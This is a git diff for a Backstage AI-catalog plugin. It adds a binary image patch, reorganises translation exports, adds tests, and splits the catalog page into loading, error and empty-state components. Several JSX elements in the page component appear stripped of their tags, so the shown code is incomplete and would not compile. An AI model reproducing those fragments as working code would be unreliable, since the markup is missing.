zhJZ`bWE9-$g+o;T)bV44W<2LwtnzCNWc`2~PUBxS?nEw?*{xs)Gh^ZgUI0tsS3DWj zu@@`B1OCPv7DI<9tI-H>9Nr1<>rbGQz>ZyjcD zuEClR8zLiaAx}6borjJ9AuQdjzhp81!;1%yam|$B zy7osVN|&ddVnGj5G>ZiZp{S@w*#L~x6IZ67Y%kzgY1+xN~!ft~b5LT*p5jH$Uv@j-<%s^PCEp`N5_%o88hP{1cux z+p4}(@wQi4JZf^E`?)@L({r~HcU8lLC05CmNcZ*$oYK^m7YK=-&1Y>^IJmML0@XEX zne(|BpiR#TD1ynQSEr(*wG``){`c@&1H%s)wyayX*@`L=Fud{FjblKJ)v^*UXH77X z6+hR(sd{(hLzG(LDxqsrHm92uI|Tt2ww2?u>9k3hL2VD8GoE6!^9BAl3eOu-oADUo zqL>&6UEJ30uO{gy>QLHoMq1@4l(Y3=UG)z2IaBd6+rdeK5)!}*j?~W`=ToPT=y07v zS$eqz{utjil&@Gt`J{>!Wr<~EwQNtXz^NfmLB-*8QCK&UcMz>=|E8Aaw~whE&8fq@bshpgzH7KAAn9g`v0 zdvUbkQzi52c;1G`Yk$PkI1?S6EVS4!x!C`xI9b+XNGsBFVKJ=Pg2{fWbR-Gc(pv2w zKUIugp{PbdN3}>nimLku$kC3S4D^;);E!f2;9`+?OU9GAGUHNVZ)4W1n$1{8_bHJZ z7EADOOlq~$fMRVR@X{HaDlCY+N(Nr}Ep|>jz%XW?`g$$m)dT#o!Ai&pnAV7R0+{t@ zNJvN~vFKnY8Gymn-IL|nTLml?vNh_u0Ww-SF9_mX*x_ILV>CsZduR?iVq! zhAl_0#$>LmZt(00T%SQ z`#JaRc#A}>pz0u=v(U?SBj$IU*Uh^BWVIvT3nWD ztaw$)$n*5l7JjRhQ*!r}-lu6Z9YwwP{?7Zl%4o~`+*S3_98EBb`3TcucA0x?fpG0$ z0{%e{f*Y+xAhsG)MOGO5Tkixtj28@WNfh0tQi{r69%p9Hh^PxZt&UF|jyB6Ub&2z| z8(n{|ACwZ41|;fTx+T17Uc4=Z_Ij12HlD9R9mnHl>xnyE?2fc+hLix;v$rN-oEDKM z9MKAq8FE6_w>WF@3Q*RR-vC8bMK+2XHAEDB%zo8+zL@&zk49gxs$aUDw}`D=2Meo9 zJv-*Hlcd{vIh#i2d^i2Ui8S-tllxA{k?aSgNo2x%7k^I_UT8Q?`N$IWM2FNQfFAEqz^I3HPXQQ$ywve(ggUMD-8A zL8RX3^k~~KRqk-Uyx2czzmYPlLpY<05T(PyMnlu%AG!L=&6&YgE&tLCqbEupwvOJ& z$+&1ZhjWHY{7<0XL6uUqpip~1P-^(!h>&X-(-}!m0hz{pdFQU3;cx7l3`D^r+|3Sv z-JcFzf4QZyOqiY7`KAq7a+q$BZko#ZKOQ2)WmDkbw7*Ar6H*5HD+wL<@CD=k0eoA0ChLVlOir=iQr-h`Gdzg%yG5EZ>2%# zk2B2V&eMIYY#!l^c$a~eAuYlo8mRv()*VO3x(USgrcv$)%H}Az+r4a_lcx?L0`5fq zBy8EkW7;@~q-elu7JmkPrqkoq2vB+kQ>%Rb(lKmWlrgq>)3*5$ig+f_(-`q5({T)VC(YT{>UAqJ*1eytB06|!x0f1z<<_Eqiqts~kAYt^?Wcb2F(n5GAe%lK9F zO~9zt4d@UR)5yA=c`d#iOxCh%94l66^PuV7O{)kM91zvf_^&$}mdW|J0<7nMq+a(q zz5;PIf3)nkWQBV_{*{X&s7Hl`2*?S54JnnV%i=~^HW64rY|HF^qw$&?Jm)-a3Ie^l zJ*C{`v$@yktimQ0sZe8%#5N?a&E}B6c8W_&^NhP#p1quawcsXVc8n`nQgOFyDK#6V z(RvM$#htvVgoqs+HR8Eo?SNjg zEgig)BJZKvWUBtx*QO@YsC9<6t_M5-W~;lO+Z5+pJd3#M{S6^1ll%3!2gH5!lL24^(1GJnjv_%zg76r!cORfvYceC`i6Sz$NI~knU zmP3)vi5$w@GUy&l{fW_K(KO&2lGRwh>6P6zkDEkjHDKEahP0+(f}l0se=q{p7JEYpIh^uJ-NQ~P{1|U`{OCH5e%oJdxwY1tvHAez zlRi4C=_EX!Y`TrEF;KOc*{^pY7t6v4Rn1Dq*!#8aYk5K)PYX=ob0Ba3>RQNxEVC^O ze}SS>eS1D}4ir8xFt9rk`U0H}Dm8UfoHQ~twA^fWxm_d{4sVA4itJV}jfqZe5bFW> zA1+#eg6$_^&U|!1>UiReFPMGT1xI=7t0kxmp2LUQy!q|QdWFq9yF@b7TyI#t@jJXP z$7wK&1#SuX!`a`K8h1#fiF&Kww57-D z%?vZ0ce?RuJ}={UKNl%!AJ8%H2RI+`MVDKgvO3)kBacMm68*4Jmi{FE%A58^IIa*= z7|`C#5mfFnNQ3PzH%TVhP$4#?ZfE05^E} z2T3M$j*hSUkS+`L+vI2YK^|L#)Ro3WCOItEuRxl=9?`C*W?gR}j)vm`1XhF5Le+Wl z>hmQ1Z;6B0gmWW#X-rYU^iM=uUW`BE4OxL}BYxNPPmIZ);QMOb63X=Y3^5!!k8LLS zT@$K5vp}kTPWt@3m7*qCXs#7KjLo-Gcgwuky;vP)u-zL#*^|c#)y-F}T@wF=>E~c{ z8YzQ-gzl!UZN%|oO3_{7f+$MMqX zDh-zXxgL$#%dkioUdQE^h+jo+Cfb*o!I9zJffcJYk5f9hvvonpqNk0PyVcZp=Ns@f z(|?ybKC?N7LauE@AkaM=jDv{>qfgTl(?~McK7DGx2 z^GovZB&aP=IvpGksSqk+);IuQInEl8KbnR?)`wN8RFwlGzuSNbAZsz`(8X>jdOJw7 zGE4{B{F5;zvgOM6-b$?lQ~yq=kWma?ANypZCX#kDmkK%kSSsU3ZeK%;u`vkyoaQ0Z zSO^=_L_i05PnRoZF>N-)WX7b{)2Pp^p-(31NHnQe@AXH*Lo)#QT%$FGi; zrRCC8i&k4)2PBoa@1f&{N)#9f_!Iq!8f`JD@!l619HsOBNSSm>N3h2y?T+H7w~QaD zW3?N!2QvGjL;|sP|AE{TPW_iyI#wEwFi{GuG~~(|(W7x{z5k@N+K#?paGh#DxyS3{ z_ijON%9df^yz~`!)x~VFa07SYzd$@PC%#8X$n5p;2L1oit0ExAlyJ^m>7g^0q^QUO zG=66Gj45aHLKv_Py=808Py_T50p@>;gVF-mZC5jZZ7!Q=H+ik^(lt}ED^i)^9-r?) zgWk~GnJ%;Ah_)`!@1YzP``X#TR6nUA>b{VUKWvFk0J*E)^UePMlxv%GbxC*sWA5LLTXEN$gMSWLWENFo=7ek7G{m1Z4H$iD^(Ks=nzMjecWKJxkTpJ%I zO#%zuE3XCBrV_So3mCMPh<~wIZ*3q--asppjv`fa)HyGddeL)r6j?+#kC(8X50p9* z1eHsluN1R!(Spm%D){f8vJ{_h&YuqNE9Khq+OXUTrljCkVAw*aFW(!a6GTxPw5JTO z6k0(EB)>M_w42vsc?FJ#p>2K?i!S%8N57Jm5ByQ4YK^mNH#6BvH(~h`QMFrjNh@??t^u8j zFH{dz`mo|q-TK@8=`^M>Q5gUhqcmeVbcPd-DM;v#X$QJ_c4*3#))fQ)v$Iv|mmG@M z^>T!{L6_YA^h5Z0y2a?UYChj& zUkLW=#eSIH|4p^aLY#qrLO%(e5umXT4)Y$zS&3UL)RNcJk86Whz=P%~u_6=4Dq6op z#LskLFV$-%Cl!s-GR5BkZd6Ta!l__mqOjeX=JXhGL?jYxZO%3*QU{IMAK{Q`+(J~Q z8hQm5J^s#qhh8o{mk zrxd(ul+>zt<$?@Un zr0Tl%gQ#x-WEVF#8QCBohO}$6Yj&P=px(DZ`5^gzyl9-d-;ugY--m<_r~Vc=ZUY5% z7MVi5Lo`8k|CXHkOr~$p*dszmp=7lHp1lf$2IV&_=ddvRzGhyx@cL~h)gfD@PWjFb zi7TmUSxeSeliMvvQJm88k~3I{3RJ29>j$tw=v6?r?>6qJDQe~ivAUR}q5l$lx$ghp z|EZ~=H;##gh-0_5D_}-9a9I}R{ZJT6UlXy2RYJ8LeElEH@*P)DzFRA~@VEL^hAu8} zhO9Dix`j)d)+QUD1|=Bk(H|dU+CHu;KMWHGR}izJi;!Kpa!+^^j4wB%VdR+Tgkc-$ zMVW5m!xMH|X~lDZuSZ0vPXGftz<(u6mE)|a@G}ghG5tzhEXQQ}q%VZ@6o!j%*R5P* zvUAD(7fOIiimB}O8|b=b`WF>zPCSZ#EGA>z@85s^9Iql0w4Gl1L4LC43$9=Vd1l#t zP0Fe{>6?R)`L681M?S2ope=#Tqzky3bmAHpafoqLZSCw@ttzxOO?^-D} zBH)mSx;oXiwA<&RrA&$V{%Lm_NkA0I`nzz?!MG?%&g>E}W8Uia0VIkk$SR6TypUk3 zYYECS5MKV5jGavgXPZIy(DJ_>tm*y?4wj_4;u@h@OqKYa{lIhm+4>3NU+7eS3_r+n z_(kjLbv8(*8vo)nWZVSi)@tQ;{j>M1qH);BBEWt?#^$(_^lz|e&ybI2LmH{(nLx4gq z421}JvA>%3&n>5!4q>E0nW_HQ|R zk>;zcb_0@pnUI=1DcdZY6V30+@H&Jtv*|@at+4DZz7f-ud@ImM6K>b?DFhTmY6rP= zYSHDH;mI7#2>W-{&BGTJC+?2u7!-w(c>RQ{m%^9(3dw{Qc*z1)hwwaGQj7eGaWT6_ zmgc*p7WIJdRu!*KDmY&I7}^y_RC~N5#_Vn0pL*p(ZpYt)jO^@_I=YND+C~=+NBuXZ zK$)|qUsX(uz}r)xYy8Rp(sZ+cprB0u;NZtbeBPFLf`PZe_~AnF-`%L2Kbv+Zb0w4v z1p?j)GuV>4K1Jyc(j$io`H5-DYCK7OTJjb<{>k-N_Dbgepc^Vlx9Wkwf zL&F$F5~=AIx!>z4s2ro`3#D*w{U9PoMn*t_JBVW!DcJwIdW?V=Y@C1O`{`-1NIR-S z(R=&jbd?sbnN|^iM!-1bk!5@BsCRxhjC168p22ainRAxEEp9z1Ol~#2jLAcm&8X9j z?KYj4+7EsyG*vK@rzxx{L0?q{D|cN`@t_@77sDwpLt9_Sym6&Ljg4sajWYx*Z-I95 z;icfxZvQt4``U@dm)SH*3)apxl79(lf>T#u@jaczA~n;*`P#+bv#LBStGuKajS6Jn ze7~TE0$d8yeSCaS_0i&_(G2tRlTU*Xn4t|yudZ(P3riziZ^J?MIqy($x4x%|F)rZL z9;?PE1tJ|uLf!?JrFB7wI99E&_f@go=Cy?; zlaI`bBD{cnxYN9lzvu?E)R*CSR)eCUnIp zT=tojhOXi+iO)?y<6f~f+8OmXPdG(50$XERfq2#*lIpBoz-nqhY5AtrVyS*)4wGS! z3GX^Rr1kcZ>~8RZtl2Pmeo$SM)2w!8Cj9n|eFRjaWAb-otIq*IVrpY~|2y93com47 zeUESJ+{D;uSa=o$WJGS#JeRTG6E`!G&l&T7EYN^m#2hy&SoGhPPt-RV8ynv&YN>om z@yJOoqqRbd7A3f7&P za>GJ;)U1r4^;utxJFC^ET;o$8nsp$9WBygv<+5)g7%d1&pVVXgXZ2yrHF}5TvW6god$IXpvss+`agIW z!zV7-qB*2a8&*hCZTELVp#Y_@S_bnXnJn6w&*?5fKh5{Gaur6i&H5XruQ^^43JUS} z?$rrX^L1e>``p{6)42iig^p=BlL!}u={E&sfMJKKDp?I!hHR0aY7gk@n3rO(|f_-5e*A+^x#S%A8O0n7UE+K@!pNF+t znZwm;82$4i3LO5@%#u+TM>7K})YCi~e&TT_^VXLr}&ux!uYo108FH#uJY`jy}!Snrj>gT#aiyX(v4P6lWZiUz{5-y#S`+ z!hJS0tyZMwq$|$&aD(~sOlm2W)jZzA#WjSIl1!DB#ihRLluDE3dNwfsR#{Xq$&;@< zRP;C=oks7Ut}~kC1~BDL!(ms<{0j-w8td|LaZ*Vtb^k`B(j-&E(-B=mHyn_UB)@)& zRN3P-38&Ul*)P7Aovb^iwW!|j?)}0G6x2j>JBP1j&1ZMh%z|Ktp!@E3YTk$#p z2NHZftZSyYE)KYx-6S~j6(SZx|4XK4#iWwWrQYYqyCJ|XTzI^*`ZeJZPsZszI}5{P zR}}SX`!()Da6X$KoXUHSk!?(mkS7eTy|40e?n52yCj05>DUm_VVKlxk_aW?grFwp) zHAl0H>Zgm1@~k@~uIioVLwSot;b`gD(Fb|UaG6#i@nXAoCCPUd13|j} zJHeoE*15Q?{dkCkPDwxPkp)%xz!m-kM<_8)8LwZaO~nPzT7AuR%EarN`UkPrLc1h+rBa(= z^=RpgtlcjxXhdu)n1sL1H^;N=0mVGhoOM8YZkAeB&!Dn$Wa52zDs+xf2G9sCqYDVI z)tOsIcN4CtI8O^3ECGig17Q1;w?vnylFIn6z3cv``j7XKtc-6ZWhWhqs5mHFWUt~F z$1eNegoEtxjmqA8l$~Q8<2c94SIIFm4~KIo%BJk?zTJQ0-t+7EJ$NeXx4t0e}qAGGRmeE`}o z>Eq+$&mP?(^&kA3ykQnY`KX+#r|rC>nkSLt6Ta)DR5VbwMh1i}X#}K@c9v7e`Pc^N zTvmXi7`wqg0sjb{|8N)Q6ZXsB-&lNyFVnO6dG(D}i-}KEuy`6Xfw`C?MNYd%IeKB} zpFQk0veb__VK2KD0>)+#$SDu}KjwPNYe33^|$DlW9sC z>W!{n*JE%XZ=8sQ6jR*{g%N7P{{YJr9IC)5s1lOiH{z_!To=6QDsSZE^II!iB!iQQ z(%?23bq0kD$;j49W*m(?JXrG{Lw%qziz8T^B7lXiU>Ba6WSXn1E2#^DBKg9_US0+a z<5E7#$zy76B?HDT#^&Mo3fNA>N(qgjADpO`te}c?HEGQJnHQEM$NmW+Scs5%J_n4p(#aStOPo52hZ{pf~=$;k+lh{jLQW_ zwgEN>yuq{4djuz!Mq0BWDp)#O0rugod>H{Moyp+i-Y<{5dhZRrqq9mT4E^}ZkR)Mg zLPE&}@{9I0HbZrdOLV!sT#o%`k#*;X57?3Hs*@r!C@(!98g=Cr@=pl8FDsvd+#%5C zYk&9d9kTPw7gXbXZa`~l0~U+QRK{P9zH#wFO}Gfb6W%_0MrdwXu57ZBxO(5qelu-s zj1hBFK)|u5bjiWeGCd<>F;Ok_h4*{qaP)AA-lHb@t$080e(v3SdL<(3s1KG4RvRfw zX&CCe43*97Hr@+1dMAIv|EiM)36fST6;zBLc}f(jWJU`fzGJ*Lj7}+W=)?i#f!E-o z?$DQ~*!IhtXem85XU7|MCKRb`oYtKpLI=zrN6N~r889}rySPLqoMCu5z~U>Qzv>nA13S+6e%aF9%}O zNp#7y({SN@v+_#ICWn%e5<2kexK9Ao>tkA`>(w1|(DS4<7p`*UF+5O-Zb(LmYseU+ z1^QgEQ?8<7Zj9qoTuW{c))3DN0=UMV(6apDFu(oDz|ht~9suLs^Kj;N>2h+Zh%Lng zdG9Ll@n35(R4ZZ0u##6mjG;4qch=i9bKBBcjt|$fa2^G-)jBwtqMA|5nfeng;s#8z zNWa!J!|GGVCraTvf{wm)<=xYM9Yjqjt%eU(;8R&>OT`Hv^HAND`hkvuhaBDgaDwCy zi)x$D{hdkV`CuST+dA}g#~;XTuLScWn_PGtcfMTFKY9pUneaCQ=KFJG&b{=|g<1GB zJLk6mMX?r^Fpva%Ux07Y(z9ni{YTV3e4!lC?*Z6Ow>Dd(wY4@bW#};^-w3 zU@+dh792(Wsq-Z#9juDzrUy<@*Kb=($GT5=lD|c=(%I8ouwSGaOevBWBbTlS;p*&* z3$G(fxq02U=`*bEX5Z6>pF{G|ZJG}Ua#}d!DbqW+$Alhp1jO*6SRb71GwD_?iGWO$ zKM{0{yBW01wzWfi-SfbGsxb)+Zso$n7e8ZpWVyxZyNVmCo+nCm7KQEr;zrV$LzVgz z@MB^4P3(1iGhemN7_@0F!X$9>rh`t7jHFiBTY=1?g#Jj^)EYH*|6T(nQ&ZEi_g6(^ zG+#WNnuF#ZOgXbw3>X^Je}Xm97?-mvp8oe{#$Pu}CQfrc&`J%fuG2r~=R8DLM5hoC z&U?UpQ&}x@zM8zDB>R9Fvyu{V!M=9uP^O|3OXbRGI$(JQo(cjrl z^Tz@LeT$;zI(`DfKaKP4ueDFoX)d=RMoMjUMX04#nYIt&uXk+&)i``oQc^glq{~)< z5F*9barI*>nVdUGM>r?F2Dm;~27nDIYGY3G{dCWxrgTdyH07LS z7Bb)uOWa00(c4cU%nrJ}3;GCp9DQqAtf0a97)GeuLMkoPT&;j*F)*$YUjOM0O;-5E zh#{Mlc)fV&;NYNF+CA%F^6=*G46NcYbS3~-bvzVGm-c+gI%N3KfQvMe9x*YLZQ3-J ztiHn$=$X@mzN6y2=MoWtp(;^VQvJ7VVI@=6a_Z)A=!Ez=?`SZHoz4-GxU_AcKAu}{(8AmJg^-FmvZ%rc&HUFV08N0hk{^As5D zoxTWiow}*L%c?CnsELI~CQvL#e+y(ni`*@5zq@QN5v(Ew@0AFyb{gFws=y)k#Cb#R z+LLC!)r{KuL7v_JE}B2n&uwtA9X9G@t%g-pZY5G zSk!9JX^^4B{qOuMlk}s_iWsj9n;b7kx({pso69wIWD8+S5ZtouPbUBjBPs+P+}%2wG7p7Wu?!sJk`fagh@k8&EZKHgFnIk==VXcOfX6QU za!vJ#eoAi2$`vubj{GjlNnySy5m!=@rNr@O-_LQmyQ_=76i~xH|LBNxggSknx#YEY zTYOi>wBBX34?E@AV}WyjZlBrt%M4~}OI-nEO0s}8Sgi#T_M!bfOM_mI_gRb*0Y2>d zcTn74gL6&LF$qz1{FK&GNS9E@+y=q6=xS(~8rM4X<$CfssH>~Xb~)_RRn#Z0G}iB< zY1SCPjm$*|*NTeDOYDA~s(sb%VFDMFiAM&y1!94hgNy61(JqX$yKA6}zGs!gHf4YF zy+a#BRI5Wc`Xi^Dnw6J3DHTQpCV5nsQPjH!Ct8RKXmQH&);O?g znc8O!+3N`Q+J9>2P6v)6(^C}SPHzT}Dh*97KGeNHUuP%NtCN1eJy{*z?5=;T<R9!RQ1voa1m#>Gt^NK(?^mV_EqADvdqkcYeOh11oRSl&b6Ha=(KvRuR%Z z`g9YKZ_0VC$!8=KmJ z#);F8bQgE-_ERyVNVV2U)5AC|0LTO# zX(>|`+`ORqlKk=G2b}3Rf%m#7hZOUc<<8Ef+vd4E$Mw@5e4zRDKHBr(={-IKwDHn4 zhRT(8?snJ%*vP8yrq6wY9H{us}kw;Ff$--%)0ba8&FC5Qeny=fG#mji>bjR{^<~i9wcoNJj zB_r(~D24#+!DD!x(_hxjWwn|oqIdh4>-=}uT68L>9TEqZ;K)OkH}U5(q^(GK`}bx<9uLYo?1p+) z-f`eu>m*=WUZ#LuQ|Hhn?=|2wg@xCW_2Ta(oVQ|L;07TEtj>?15|Z1bb+zc1$8yMAV{_S0 zOI=%xv5_NIAD*fH%dzmaPc3bC$=(I(0zxU>_UN?(n)=oPi-x}b^vz++={m4bm~w13 zG0HTLlK>>h&a)%4`SvoAFF!QZq89((7!h$P$`x2rIsh}vPQD4{6nW-X06T;4jN!U= zW1{CA1Lhg~J*%T`KoHwpON3~zuo&#CPTBg zSx2Hhov}=#zP7fPAOv!Ou$d=%JZKHT*>Yd!GANRb!WM)yN5^O}{){3QaeuVvHG4Pb z>q{C!SNZu;z%tnKNo%Dr^N$OQU-}93qJ}b+cKZ(p!F}8i3@n-n`>S4;4IV`uGzA*1 zWglUugNT5hBX$~~@aT~Pd10`UeA$V>$}_s+YJEw)WDL_!s_(l&Hg4CBSxKGGmC#%! zW`PvM#piIr7>*PgASx^>g-nB`w5X~`S%eriSf6@s=^g+Yo^$0o6$DS_AqJIHcyL?bxTxJJ>&MUK7Q=83LV^ ze+$s4pM{E;R9VUQb(@8;tf$DkLC4h{r#-xb4RoxuwF<9+zoEBtC~07=WeEAbv{qa zex5=!p9wY0Ay3r7f`%_4x^?YGk$TW0RMNA<+qW$qHFat^8i|XGqd#j2+My6_Ai4rNl%D8xaKK@8ua5fe-m5EYJgZs>Gg|W! z)MAE#u2*r|-`4sD5!()ZI&e?SUx>e8_DK%>1%zr0&u~Ssj)8^6oj+$uW)s1q>s&a$ zIkx-|?CZdo37P-8jaUD;;};zeQ(~-bGLF|2v5*Wn(4PokKFgwt$6JQGKoH=3 zs+eWw87uHBmR~dzs^-v3A0v(2gT57NGWatf+RPDqsbuSQu+rjWkA<7 zul0c!*x!z56W{sJd%)d&XtG;7bd_)reBwEVHuFZ}7mJ%9jhHIYoqAy^CgvG8oB%)J zEp%}hyZ$A;w3H4tJRo|nWscJJ@`J2|?Bu1JIXdpK!umjiOI(mOM;^ibC?lynwZXS) zKVS38W+@Gn%KnvJ9<2~(sm2Y+gJJ;*e*PaJ*TgIyI!rZszXRBTf2Ee0VC^cl0^w;i7(Q1@^FD`uXLlMY+cWCiMF<3&KblE>T@mP*k(=UD{wX1Z z-fO)tE2!(qM{XQ^NM1W<$@ov9K)`;Wa#()*Wt$7^%}V*>nEvbse?NS1F!IMU2>;R* zlKf||r5BZ{vdmlPHI8$gzz|Eo>p5VUzp@--(Mr8^rYwDNHd530*N0EAa;fiOcFc{a zPj*Xk9sHhb> zO_qv49tf4O!S+%omz`MummVi~jYT&pmr>Z_;yKdzqRSvi|Gk-j>=+W&kvlo({t9uV z-Wsc4T=5Yo!UUVd@ye@#;iIG?P~^VIywXc-bZ*5qV=+^T@oSi=($yb9wA|F z8qw-`R=^f)w5ufD9Op=$5Fw!~V4WGMa4&Ixvf63zqX+01&D?>$ceZQkz>Uw3ox6#e z`gxBw@s&Uh06Eq8H~&-T7eP%mkslRU3+cAQ$^xw%nND*`TJLC!h)L!j79JhV?>Z@t znk~7kW!o(3EPM(_?@;;c3IP117~pQ4D>E2aH46qlk?qCddEdkdd>c5>1=%yA%TA{H zUpjw=k%r$DWwa07X#>o+g(<=n9qpd?p#MqG+P<4oc-0o{SrB{Xx z{-UKzWUdOH4%%f-DH|=ZC*cVk1cPNOIJ~ZcgNwOg3olY7X})6>Epwq%x#;M4ZEFjK zs8VB)(_bUiFY^!*PqB6<-IE{b+f-k_!6YJ8&xn6&T~5mh3kwT18}@Ho=;B-6YjCBA zkaG@a{kL^W?ilJ6(DB|k(dKeL{{HP(naWT|2_HbQMS`jyc)M(GA6(KRTJp@Eq;KHn zkRug*K*l82IB{ahce77=H*tVSz^ZKd)$TsRm`J45&G9&)<@RGbcM@fRojtRCc=1`^`|j;j3}~@&ppqSY0|mHy z)~3Jel1=-yxt_O7oY31^#pm7GDE_^K9m%*3uZ4nm<8c79S!Tv zFWz^v{HY5ai_rC>2F4l}uj$-GC

KKC*1?zj^J$J>eSQ~7nF~}#PbK5Jol>1@;*OJ*TnfFeCR}eqC+pj5}Qe6IEb;VXWv_4p0 zZSyxWYqYK(wgp6C9ue7TkYn6Y$$VE(Oe$1SJrmI zFE^)fUiv+f9+kI41hk&C+Ux*Hbo8C}myQHi`Bxpx(x@b+7iiksI|1gk@tHBbNudoS z<^TiOPugS^hm%Fb@StDtbAqZ}d~$V$b2 z1P8-f_^n}sWiThA1tt>w6A}_0i2saA>=eEWfj}O&UVGM}7W0qq%a;%ne|&=jDSq(- zX}+*V1`E~Da%>fak9-Ok^W1yAMf@ExWB`xj-a!(q>?e*uzr<#?eWu3x(vJ3rGN&Z+7+Ptf^K zaeRGXYIm_^m%=3$Uh89PYwHWHGWZf2GEw8t<&TQB;Uc1J#FWnB8wamc0BUzg0I*B_A+GMGf$bmG+q^{r>U2IpI@n%p}sMfhvlqDl1lMzfjNkeXT`y?8npE) z!2Px=E!3C?=i}lcXn0nbti2s*A+?mrqpH)rl!grf&l+&B97QU2a}(u2qpJx$Np(Y^W%vA+>Y_mR%CD zAX{66)g~pvbdx_Xeh2lGRoZp@&ucraB)|vGJ;^&g5-M+uyL9gVKmWI%K=AzOxqlb- Vm}VbSUp#vfnosmpD<9j0{SO7O0SEv9 literal 0 HcmV?d00001 diff --git a/workspaces/boost/plugins/boost/src/index.ts b/workspaces/boost/plugins/boost/src/index.ts index 16c18420e63..882477cbcfd 100644 --- a/workspaces/boost/plugins/boost/src/index.ts +++ b/workspaces/boost/plugins/boost/src/index.ts @@ -22,9 +22,13 @@ */ /** @public */ -export { boostPlugin as default, boostTranslationsModule } from './plugin'; +export { boostPlugin as default } from './plugin'; /** @public */ -export { boostTranslationRef, boostTranslations } from './translations'; +export { + boostTranslationRef, + boostTranslations, + boostTranslationsModule, +} from './translations'; /** @public */ export { AiCatalogFilterBlueprint, diff --git a/workspaces/boost/plugins/boost/src/nfsExports.test.ts b/workspaces/boost/plugins/boost/src/nfsExports.test.ts new file mode 100644 index 00000000000..fd733ac794c --- /dev/null +++ b/workspaces/boost/plugins/boost/src/nfsExports.test.ts @@ -0,0 +1,26 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import translationsModuleDefault, { + boostTranslationsModule, +} from './translations'; + +describe('Boost NFS exports', () => { + it('exports the translation module as the translations entrypoint default', () => { + expect(boostTranslationsModule.$$type).toBe('@backstage/FrontendModule'); + expect(translationsModuleDefault).toBe(boostTranslationsModule); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css index d1bd9f90196..c69d467fc0f 100644 --- a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.module.css @@ -50,32 +50,6 @@ overflow: hidden; } - .resultsSurface { - display: flex; - flex: 1; - flex-direction: column; - min-width: 0; - width: 100%; - min-height: 0; - overflow: hidden; - border: 1px solid var(--bui-border-1); - border-radius: var(--bui-radius-4); - } - - .resultsBody { - flex: 1; - min-width: 0; - min-height: 0; - overflow: auto; - padding: var(--bui-space-4); - } - - .pagination { - flex-shrink: 0; - padding: var(--bui-space-3) var(--bui-space-4); - border-top: 1px solid var(--bui-border-1); - } - .mobileFilterTrigger { display: none; } diff --git a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx index 9ed59e683b5..59226e7c7e7 100644 --- a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.test.tsx @@ -18,7 +18,7 @@ import type { Entity } from '@backstage/catalog-model'; import type { CatalogApi } from '@backstage/plugin-catalog-react'; import { catalogApiRef } from '@backstage/plugin-catalog-react'; import { renderInTestApp, TestApiProvider } from '@backstage/test-utils'; -import { screen, waitFor } from '@testing-library/react'; +import { fireEvent, screen, waitFor } from '@testing-library/react'; import { categoryFilterDefinition, @@ -110,14 +110,35 @@ describe('AiCatalogPage', () => { it('shows empty state when no assets and no filters', async () => { mockCatalogApi.getEntities.mockResolvedValue({ items: [] }); - await renderPage(); + const { container } = await renderPage(); await waitFor(() => { expect(screen.getByText(msg.empty.title)).toBeInTheDocument(); }); + expect(container.querySelector('img[aria-hidden="true"]')).toHaveAttribute( + 'src', + expect.stringContaining('empty-state-illustration'), + ); + expect(screen.getByText(msg.empty.refresh)).toBeInTheDocument(); expect(screen.getByText(msg.empty.learnMore)).toBeInTheDocument(); }); + it('refreshes the catalog from the empty state', async () => { + mockCatalogApi.getEntities + .mockResolvedValueOnce({ items: [] }) + .mockResolvedValueOnce({ items: mockEntities }); + await renderPage(); + + fireEvent.click( + await screen.findByRole('button', { name: msg.empty.refresh }), + ); + + await waitFor(() => { + expect(screen.getByText('Code Review Skill')).toBeInTheDocument(); + }); + expect(mockCatalogApi.getEntities).toHaveBeenCalledTimes(2); + }); + it('shows error state with retry when catalog fails', async () => { mockCatalogApi.getEntities.mockRejectedValue(new Error('Network error')); await renderPage(); diff --git a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx index cabe910ebee..baa9884d33f 100644 --- a/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx +++ b/workspaces/boost/plugins/boost/src/pages/AiCatalogPage.tsx @@ -20,8 +20,10 @@ import type { SortDescriptor } from '@backstage/ui'; import { CatalogErrorBoundary } from '../components/catalog/CatalogErrorBoundary'; import { CatalogFilters } from '../components/catalog/CatalogFilters/CatalogFilters'; import { FilterDrawer } from '../components/catalog/CatalogFilters/FilterDrawer'; +import { CatalogEmptyState } from '../components/catalog/CatalogResults/CatalogEmptyState'; +import { CatalogErrorState } from '../components/catalog/CatalogResults/CatalogErrorState'; +import { CatalogLoadingState } from '../components/catalog/CatalogResults/CatalogLoadingState'; import { CatalogResults } from '../components/catalog/CatalogResults/CatalogResults'; -import type { CatalogViewMode } from '../components/catalog/CatalogToolbar'; import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; import { useAiAssets } from '../hooks/useAiAssets'; import { useUrlFilters } from '../hooks/useUrlFilters'; @@ -95,35 +97,33 @@ const AiCatalogPageContent = ({ filters }: AiCatalogPageProps) => { } }, [error, loading, page, pageStart, setPage, totalCount]); - const results = ( - setPage(page + 1)} - onPreviousPage={() => setPage(page - 1)} - onPageSizeChange={setPageSize} - /> - ); + if (loading) { + return ( + +

+ +
+ + ); + } - if (loading || error || (allEntities.length === 0 && !hasActiveFilters)) { - return {results}; + if (error) { + return ( + + + + ); + } + + if (allEntities.length === 0 && !hasActiveFilters) { + return ( + + + + ); } return ( @@ -146,7 +146,24 @@ const AiCatalogPageContent = ({ filters }: AiCatalogPageProps) => { onFilterChange={setFilter} />
- {results} + setPage(page + 1)} + onPreviousPage={() => setPage(page - 1)} + onPageSizeChange={setPageSize} + />
